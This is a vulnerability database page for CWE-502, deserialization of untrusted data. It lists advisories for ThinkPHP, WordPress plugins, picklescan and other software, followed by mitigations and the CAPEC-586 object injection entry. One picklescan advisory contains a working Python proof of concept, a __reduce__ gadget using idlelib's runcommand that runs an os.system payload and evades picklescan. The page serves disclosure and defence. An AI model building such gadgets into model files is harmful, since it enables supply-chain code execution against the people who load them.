Common Weakness Enumeration

CWE-502

Allowed

Deserialization of Untrusted Data

Abstraction: Base · Status: Draft

The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.

5480 vulnerabilities reference this CWE, most recent first.

GHSA-J2H2-G882-X9J2

Vulnerability from github – Published: 2023-02-08 21:30 – Updated: 2023-02-16 23:33
VLAI
Summary
Deserialization of Untrusted Data in thinkphp
Details

thinkphp 6.0.0~6.0.13 and 6.1.0~6.1.1 contains a deserialization vulnerability. This vulnerability allows attackers to execute arbitrary code via a crafted payload.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "topthink/think"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "6.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-45982"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-02-16T23:33:54Z",
    "nvd_published_at": "2023-02-08T21:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "thinkphp 6.0.0~6.0.13 and 6.1.0~6.1.1 contains a deserialization vulnerability. This vulnerability allows attackers to execute arbitrary code via a crafted payload.",
  "id": "GHSA-j2h2-g882-x9j2",
  "modified": "2023-02-16T23:33:54Z",
  "published": "2023-02-08T21:30:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-45982"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/Dar1in9s/aa87df679057db3bbdade360d77f8cca"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/top-think/think"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Deserialization of Untrusted Data in thinkphp"
}

GHSA-J2P9-99MH-4F77

Vulnerability from github – Published: 2025-06-06 12:30 – Updated: 2026-04-01 18:35
VLAI
Details

Deserialization of Untrusted Data vulnerability in Teastudio.Pl WP Posts Carousel allows Object Injection.This issue affects WP Posts Carousel: from n/a through 1.3.12.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-39358"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-06T12:15:21Z",
    "severity": "HIGH"
  },
  "details": "Deserialization of Untrusted Data vulnerability in Teastudio.Pl WP Posts Carousel allows Object Injection.This issue affects WP Posts Carousel: from n/a through 1.3.12.",
  "id": "GHSA-j2p9-99mh-4f77",
  "modified": "2026-04-01T18:35:17Z",
  "published": "2025-06-06T12:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-39358"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/wp-posts-carousel/vulnerability/wordpress-wp-posts-carousel-1-3-12-php-object-injection-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J2RF-55R9-C5PH

Vulnerability from github – Published: 2026-09-24 06:31 – Updated: 2026-09-24 12:31
VLAI
Details

The wpForo Forum WordPress plugin before 3.1.6 does not restrict which classes may be instantiated when it deserializes a user-supplied profile field value, allowing authenticated users with Subscriber-level access and above to inject a PHP Object. No POP chain is present in the wpForo Forum WordPress plugin before 3.1.6 itself; if one is present via another installed wpForo Forum WordPress plugin before 3.1.6 or , this could lead to remote code execution, arbitrary file operations, or SQL injection. This is an incomplete fix of CVE-2026-49769.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-80513"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-24T06:17:01Z",
    "severity": "HIGH"
  },
  "details": "The wpForo Forum WordPress plugin before 3.1.6 does not restrict which classes may be instantiated when it deserializes a user-supplied profile field value, allowing authenticated users with Subscriber-level access and above to inject a PHP Object.\nNo POP chain is present in the wpForo Forum WordPress plugin before 3.1.6 itself; if one is present via another installed wpForo Forum WordPress plugin before 3.1.6 or , this could lead to remote code execution, arbitrary file operations, or SQL injection. This is an incomplete fix of CVE-2026-49769.",
  "id": "GHSA-j2rf-55r9-c5ph",
  "modified": "2026-09-24T12:31:22Z",
  "published": "2026-09-24T06:31:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-80513"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/09c9b9e7-c178-4f05-80d8-d4d77b7c5050"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J2VQ-R4J3-CJ5M

Vulnerability from github – Published: 2026-07-04 03:31 – Updated: 2026-07-04 03:31
VLAI
Details

picklescan before 0.0.34 fails to detect _operator.attrgetter function calls in pickle payloads, allowing attackers to bypass security checks. Remote attackers can craft malicious pickle files using _operator.attrgetter in reduce methods to execute arbitrary code when pickle.load() processes the file.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-71367"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-04T02:16:22Z",
    "severity": "HIGH"
  },
  "details": "picklescan before 0.0.34 fails to detect _operator.attrgetter function calls in pickle payloads, allowing attackers to bypass security checks. Remote attackers can craft malicious pickle files using _operator.attrgetter in reduce methods to execute arbitrary code when pickle.load() processes the file.",
  "id": "GHSA-j2vq-r4j3-cj5m",
  "modified": "2026-07-04T03:31:02Z",
  "published": "2026-07-04T03:31:02Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-46h3-79wf-xr6c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-71367"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/picklescan-remote-code-execution-via-operator-attrgetter-detection-bypass"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-J33C-7MF9-2892

Vulnerability from github – Published: 2025-02-28 09:30 – Updated: 2025-02-28 09:30
VLAI
Details

The Tabs for WooCommerce plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 1.0.0 via deserialization of untrusted input in the 'product_has_custom_tabs' function. This makes it possible for authenticated attackers, with Shop Manager-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable software, which means this vulnerability has no impact unless another plugin or theme containing a POP chain is installed on the site. If a POP chain is present via an additional plugin or theme installed on the target system, it may allow the attacker to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the POP chain present.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-13831"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-28T09:15:10Z",
    "severity": "HIGH"
  },
  "details": "The Tabs for WooCommerce plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 1.0.0 via deserialization of untrusted input in the \u0027product_has_custom_tabs\u0027 function. This makes it possible for authenticated attackers, with Shop Manager-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable software, which means this vulnerability has no impact unless another plugin or theme containing a POP chain is installed on the site. If a POP chain is present via an additional plugin or theme installed on the target system, it may allow the attacker to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the POP chain present.",
  "id": "GHSA-j33c-7mf9-2892",
  "modified": "2025-02-28T09:30:54Z",
  "published": "2025-02-28T09:30:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13831"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/wc-tabs/trunk/wc-tabs-lite.php#L363"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/790a2c64-b358-41ed-be17-f2b99d294617?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J33G-VGFM-6PXV

Vulnerability from github – Published: 2026-02-12 18:30 – Updated: 2026-02-12 21:31
VLAI
Details

In Infoblox NIOS through 9.0.7, insecure deserialization can result in remote code execution.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-61880"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-12T17:16:05Z",
    "severity": "HIGH"
  },
  "details": "In Infoblox NIOS through 9.0.7, insecure deserialization can result in remote code execution.",
  "id": "GHSA-j33g-vgfm-6pxv",
  "modified": "2026-02-12T21:31:26Z",
  "published": "2026-02-12T18:30:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-61880"
    },
    {
      "type": "WEB",
      "url": "https://infoblox.com"
    },
    {
      "type": "WEB",
      "url": "https://support.infoblox.com/s/article/CVE-2025-61879-and-CVE-2025-61880"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J343-8V2J-FF7W

Vulnerability from github – Published: 2025-08-26 21:36 – Updated: 2026-09-11 19:26
VLAI
Summary
Picklescan is missing detection when calling built-in python idlelib.pyshell.ModifiedInterpreter.runcommand
Details

Summary

Using idlelib.pyshell.ModifiedInterpreter.runcommand function, which is a built-in python library function to execute remote pickle file.

Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to idlelib.pyshell.ModifiedInterpreter.runcommand function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

PoC

from idlelib.pyshell import ModifiedInterpreter
from types import SimpleNamespace

class EvilIdlelibPyshellModifiedInterpreterRuncommand:
    def __reduce__(self):
        payload = "__import__('os').system('whoami')"
        fake_self = SimpleNamespace(
            locals={},
            tkconsole=SimpleNamespace(executing=False),
            rpcclt=None,
            debugger=None
        )
        return ModifiedInterpreter.runcommand, (fake_self, payload)

Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Corresponding

https://github.com/FredericDT https://github.com/Qhaoduoyu

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "picklescan"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.30"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-71357"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-26T21:36:47Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nUsing idlelib.pyshell.ModifiedInterpreter.runcommand function, which is a built-in python library function to execute remote pickle file.\n\n### Details\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker craft the payload by calling to idlelib.pyshell.ModifiedInterpreter.runcommand function in reduce method\nThen when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn\u0027t dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n\n```\nfrom idlelib.pyshell import ModifiedInterpreter\nfrom types import SimpleNamespace\n\nclass EvilIdlelibPyshellModifiedInterpreterRuncommand:\n    def __reduce__(self):\n        payload = \"__import__(\u0027os\u0027).system(\u0027whoami\u0027)\"\n        fake_self = SimpleNamespace(\n            locals={},\n            tkconsole=SimpleNamespace(executing=False),\n            rpcclt=None,\n            debugger=None\n        )\n        return ModifiedInterpreter.runcommand, (fake_self, payload)\n\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Corresponding\n\nhttps://github.com/FredericDT\nhttps://github.com/Qhaoduoyu",
  "id": "GHSA-j343-8v2j-ff7w",
  "modified": "2026-09-11T19:26:09Z",
  "published": "2025-08-26T21:36:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-j343-8v2j-ff7w"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/commit/1931c2d04eaca8d20597705ff39cab78ba364e4b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mmaitre314/picklescan"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/picklescan/PYSEC-2026-246.yaml"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/picklescan-arbitrary-code-execution-via-undetected-idlelib-pyshell-modifiedinterpreter-runcommand"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Picklescan is missing detection when calling built-in python idlelib.pyshell.ModifiedInterpreter.runcommand"
}

GHSA-J34J-5M9R-P984

Vulnerability from github – Published: 2026-08-27 21:31 – Updated: 2026-08-27 21:31
VLAI
Details

Potential for deserialization of untrusted types in Spring Cloud Stream. Spring Cloud Stream 5.0.0 - 5.0.2 Spring Cloud Stream 4.3.0 - 4.3.3 Spring Cloud Stream 4.2.0 - 4.2.6

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-59306"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-27T20:17:56Z",
    "severity": "LOW"
  },
  "details": "Potential for deserialization of untrusted types in Spring Cloud Stream.\nSpring Cloud Stream 5.0.0 - 5.0.2\nSpring Cloud Stream 4.3.0 - 4.3.3\nSpring Cloud Stream 4.2.0 - 4.2.6",
  "id": "GHSA-j34j-5m9r-p984",
  "modified": "2026-08-27T21:31:45Z",
  "published": "2026-08-27T21:31:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59306"
    },
    {
      "type": "WEB",
      "url": "https://spring.io/security/cve-2026-59306"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J359-QHQ6-R897

Vulnerability from github – Published: 2022-05-17 01:54 – Updated: 2024-01-21 03:30
VLAI
Details

fw_dbus.py in system-config-firewall 1.2.29 and earlier uses the pickle Python module unsafely during D-Bus communication between the GUI and the backend, which might allow local users to gain privileges via a crafted serialized object.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2011-2520"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2011-07-21T23:55:00Z",
    "severity": "MODERATE"
  },
  "details": "fw_dbus.py in system-config-firewall 1.2.29 and earlier uses the pickle Python module unsafely during D-Bus communication between the GUI and the backend, which might allow local users to gain privileges via a crafted serialized object.",
  "id": "GHSA-j359-qhq6-r897",
  "modified": "2024-01-21T03:30:24Z",
  "published": "2022-05-17T01:54:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2011-2520"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2011:0953"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2011-2520"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=717985"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/68734"
    },
    {
      "type": "WEB",
      "url": "http://lists.fedoraproject.org/pipermail/package-announce/2011-August/063314.html"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/45294"
    },
    {
      "type": "WEB",
      "url": "http://securitytracker.com/id?1025793"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2011/07/18/6"
    },
    {
      "type": "WEB",
      "url": "http://www.redhat.com/support/errata/RHSA-2011-0953.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/48715"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J387-P3X2-F89V

Vulnerability from github – Published: 2025-04-11 09:30 – Updated: 2026-04-01 18:34
VLAI
Details

Deserialization of Untrusted Data vulnerability in PickPlugins Accordion allows Object Injection. This issue affects Accordion: from n/a through 2.3.10.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-32143"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-11T09:15:22Z",
    "severity": "HIGH"
  },
  "details": "Deserialization of Untrusted Data vulnerability in PickPlugins Accordion allows Object Injection. This issue affects Accordion: from n/a through 2.3.10.",
  "id": "GHSA-j387-p3x2-f89v",
  "modified": "2026-04-01T18:34:39Z",
  "published": "2025-04-11T09:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32143"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/accordions/vulnerability/wordpress-accordion-plugin-2-3-10-php-object-injection-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design Implementation

If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.

Mitigation
Implementation

When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.

Mitigation
Implementation

Explicitly define a final object() to prevent deserialization.

Mitigation
Architecture and Design Implementation
  • Make fields transient to protect them from deserialization.
  • An attempt to serialize and then deserialize a class containing transient fields will result in NULLs where the transient data should be. This is an excellent way to prevent time, environment-based, or sensitive variables from being carried over and used improperly.
Mitigation
Implementation

Avoid having unnecessary types or gadgets (a sequence of instances and method invocations that can self-execute during the deserialization process, often found in libraries) available that can be leveraged for malicious ends. This limits the potential for unintended or unauthorized types and gadgets to be leveraged by the attacker. Add only acceptable classes to an allowlist. Note: new gadgets are constantly being discovered, so this alone is not a sufficient mitigation.

Mitigation
Architecture and Design Implementation

Employ cryptography of the data or code for protection. However, it's important to note that it would still be client-side security. This is risky because if the client is compromised then the security implemented on the client (the cryptography) can be bypassed.

Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

CAPEC-586: Object Injection

An adversary attempts to exploit an application by injecting additional, malicious content during its processing of serialized objects. Developers leverage serialization in order to convert data or state into a static, binary format for saving to disk or transferring over a network. These objects are then deserialized when needed to recover the data/state. By injecting a malformed object into a vulnerable application, an adversary can potentially compromise the application by manipulating the deserialization process. This can result in a number of unwanted outcomes, including remote code execution.